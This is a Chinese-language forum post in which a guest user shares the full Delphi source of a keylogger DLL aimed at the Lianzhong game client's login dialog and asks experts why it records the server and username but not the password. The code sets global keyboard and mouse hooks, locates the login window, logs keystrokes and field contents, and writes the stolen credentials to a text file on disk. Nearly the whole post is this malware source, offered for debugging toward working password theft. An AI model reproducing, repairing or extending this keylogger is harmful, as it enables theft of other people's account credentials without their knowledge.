L
losstsky1987
Unregistered / Unconfirmed
GUEST, unregistred user!
我写了个一个关于联众的键盘记录,服务器,用户名都能记录下来 但就是密码不行 检查没有错误,编译器检查也没错误,我用的是D7的 我把代码帖出来 希望高手解答<br>library HookDLL;<br><br>uses<br> Windows,<br> SysUtils,<br> messages;<br><br>type<br> PMouseHookStruct = ^TMouseHookStruct;<br> {$EXTERNALSYM tagMOUSEHOOKSTRUCT}<br> tagMOUSEHOOKSTRUCT = packed record<br> pt: TPoint;<br> hwnd: HWND;<br> wHitTestCode: UINT;<br> dwExtraInfo: DWORD;<br> end;<br> TMouseHookStruct = tagMOUSEHOOKSTRUCT;<br><br><br>var<br> KeyHook,MouseHook:HHook;<br> loggedkeys:string;<br><br>function GetCaption(hWnd: LongWord): string;<br>var<br> szWindowText: array[0..MAX_PATH] of Char;<br> szTextLength: Integer;<br>begin<br> szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));<br> szWindowText[szTextLength] := #0;<br> Result := szWindowText;<br>end;<br><br>function isbutton:boolean;<br>var windowss:THandle;<br>begin<br>result :=False;<br>windowss:=findwindow('#32770','登录信息');<br>if windowss=0 then exit;<br>result:=true;<br>end;<br><br>Procedure savetext(str:string);<br>Var<br>F:Textfile;<br>Begin<br> Assignfile(F,'C:/Save.txt');<br> if not FileExists('C:/Save.txt') Then<br> begin<br> Rewrite(F);<br> Writeln(F, str);<br> closefile(F);<br> End<br>Else<br>Assignfile(F,'C:/Save.txt');<br>Append(F);<br>Writeln(F, str);<br>Closefile(F);<br>End;<br><br>procedure logthekeys();//最经典的键盘记录处理函数<br>var<br> i : byte;<br>begin<br> for i:=8 To 222 do<br> begin<br> if GetAsyncKeyState(i)=-32767 then<br> begin<br> case i of<br> 8: {loggedkeys := loggedkeys +'[BACKSPACE]'} loggedkeys := copy(loggedkeys, 0, length(loggedkeys) - 1);<br> 9 : loggedkeys := loggedkeys + '(TAB)';<br> 13 : loggedkeys := loggedkeys + #13#10;<br> 17 : loggedkeys := loggedkeys + '(Ctrl)';<br> 27 : loggedkeys := loggedkeys + '(ESC)';<br> 32 : loggedkeys := loggedkeys + ' ';<br> 33 : loggedkeys := loggedkeys + '(Page up)';<br> 34 : loggedkeys := loggedkeys + '(Page down)';<br> 35 : loggedkeys := loggedkeys + '(End)';<br> 36 : loggedkeys := loggedkeys + '(Home)';<br> 37 : loggedkeys := loggedkeys + '(Left)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> 38 : loggedkeys := loggedkeys + '(Up)';<br> 39 : loggedkeys := loggedkeys + '(Right)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> 40 : loggedkeys := loggedkeys + '(Down)';<br> 44 : loggedkeys := loggedkeys + '(Prnt Scrn)';<br> 45 : loggedkeys := loggedkeys + '(Insert)';<br> 46 : loggedkeys := loggedkeys + '(Delete)';<br> 145 : loggedkeys := loggedkeys + '(Scroll lock)';<br> 48 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+')'<br> else loggedkeys:= loggedkeys+'0';<br> 49 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'!'<br> else loggedkeys:= loggedkeys+'1';<br> 50 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'@'<br> else loggedkeys:= loggedkeys+'2';<br> 51 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'#'<br> else loggedkeys:= loggedkeys+'3';<br> 52 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'$'<br> else loggedkeys:= loggedkeys+'4';<br> 53 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'%'<br> else loggedkeys:= loggedkeys+'5';<br> 54 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'^'<br> else loggedkeys:= loggedkeys+'6';<br> 55 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'&'<br> else loggedkeys:= loggedkeys+'7';<br> 56 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'*'<br> else loggedkeys:= loggedkeys+'8';<br> 57 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'('<br> else loggedkeys:= loggedkeys+'9';<br> 65..90 :<br> begin<br> if ((GetKeyState(VK_CAPITAL))=1) then<br> if GetKeyState(VK_SHIFT)<0 then<br> loggedkeys:= loggedkeys+LowerCase(Chr(i))<br> else<br> loggedkeys:= loggedkeys+UpperCase(Chr(i))<br> else<br> if GetKeyState(VK_SHIFT)<0 then loggedkeys := loggedkeys+UpperCase(Chr(i))<br> else<br> loggedkeys:= loggedkeys+LowerCase(Chr(i));<br> end;<br> 96..105 : loggedkeys:= loggedkeys + inttostr(i-96);<br> 106: loggedkeys:= loggedkeys+'*';<br> 107: loggedkeys:= loggedkeys+'&';<br> 109: loggedkeys:= loggedkeys+'-';<br> 110: loggedkeys:= loggedkeys+'.';<br> 111: loggedkeys:= loggedkeys+'/';<br> 144 : loggedkeys:= loggedkeys+'[Num Lock]';<br> 112..123:loggedkeys:= loggedkeys+'[F'+IntToStr(i - 111)+']';<br> 186 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+':'<br> else loggedkeys:= loggedkeys+';';<br> 187 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'+'<br> else loggedkeys:= loggedkeys+'=';<br> 188 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'<'<br> else loggedkeys:= loggedkeys+',';<br> 189 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'_'<br> else loggedkeys:= loggedkeys+'-';<br> 190 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'>'<br> else loggedkeys:= loggedkeys+'.';<br> 191 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'?'<br> else loggedkeys:= loggedkeys+'/';<br> 192 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'~'<br> else loggedkeys:= loggedkeys+'`';<br> 219 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'{'<br> else loggedkeys:= loggedkeys+'[';<br> 220 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'|'<br> else loggedkeys:= loggedkeys+'/';<br> 221 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'}'<br> else loggedkeys:= loggedkeys+']';<br> 222 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'"'<br> else loggedkeys:= loggedkeys+'''';<br>end;<br>end;<br>end;<br>end;<br><br>function getwindow:string;<br>var window,hbutton:THandle;<br>begin<br>result := '';<br>window:=findwindow('#32770','登录信息');<br>if window=0 then exit;<br>hbutton:=findwindowex(window,THandle(nil),'ODComboBox',nil);<br>if hbutton=0 then exit;<br>result:=getcaption(hbutton)<br>end;<br><br>function getname:string;<br>var name,button:THandle;<br>begin<br>result := '';<br>name:=findwindow('#32770','登录信息');<br>if name=0 then exit;<br>button:=GetDlgItem(name,$000003F1);<br>if button=0 then exit;<br>result:=getcaption(button)<br>end;<br><br>function lz:THandle;<br>var window,password_window:thandle;<br>begin<br>result:=0;<br>window:=findwindow('#32770','登录信息');<br>if window=0 then exit;<br>password_window:=GetDlgItem(window,$00000001);<br>if password_window=0 then exit;<br>result:=password_window;<br>end;<br><br>function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>begin {回车} {键盘按键按下消息}<br> if (wParam=13) and (((LParam shr 31)and 1)=0) and (isbutton) then<br> begin<br>savetext('服务器:'+getwindow+#13#10+'用户名'+getname+#13#10+'密码:'+loggedkeys+#13#10);<br>loggedkeys:='';<br> end else<br> begin<br> if (((LParam shr 31)and 1)=0)and (isbutton) then<br> begin<br> logthekeys();<br> end;<br> end;<br> Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);<br>end;<br><br>function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;<br>var<br>buffer:array[0..MAX_PATH] of char;<br>begin {鼠标左键按下消息}<br> if wparam=$0201 then<br> begin<br> SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,255,Integer(@buffer));<br> if pMOUSEHOOKSTRUCT(lparam)^.hwnd=lz then<br> begin<br>savetext('服务器:'+getwindow+#13#10+'用户名'+getname+#13#10+'密码'+loggedkeys+#13#10);<br>loggedkeys:='';<br> end;<br> end;<br> Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);<br>end;<br><br>procedure HookOn;<br>begin<br> KeyHook :=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);<br> MouseHook :=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance,0);<br>end;<br><br>procedure HookOff;<br>begin<br> UnHookWindowsHookEx(KeyHook);<br> UnHookWindowsHookEx(MouseHook);<br>end;<br><br>exports<br> HookOn,HookOff;<br><br> begin<br> end.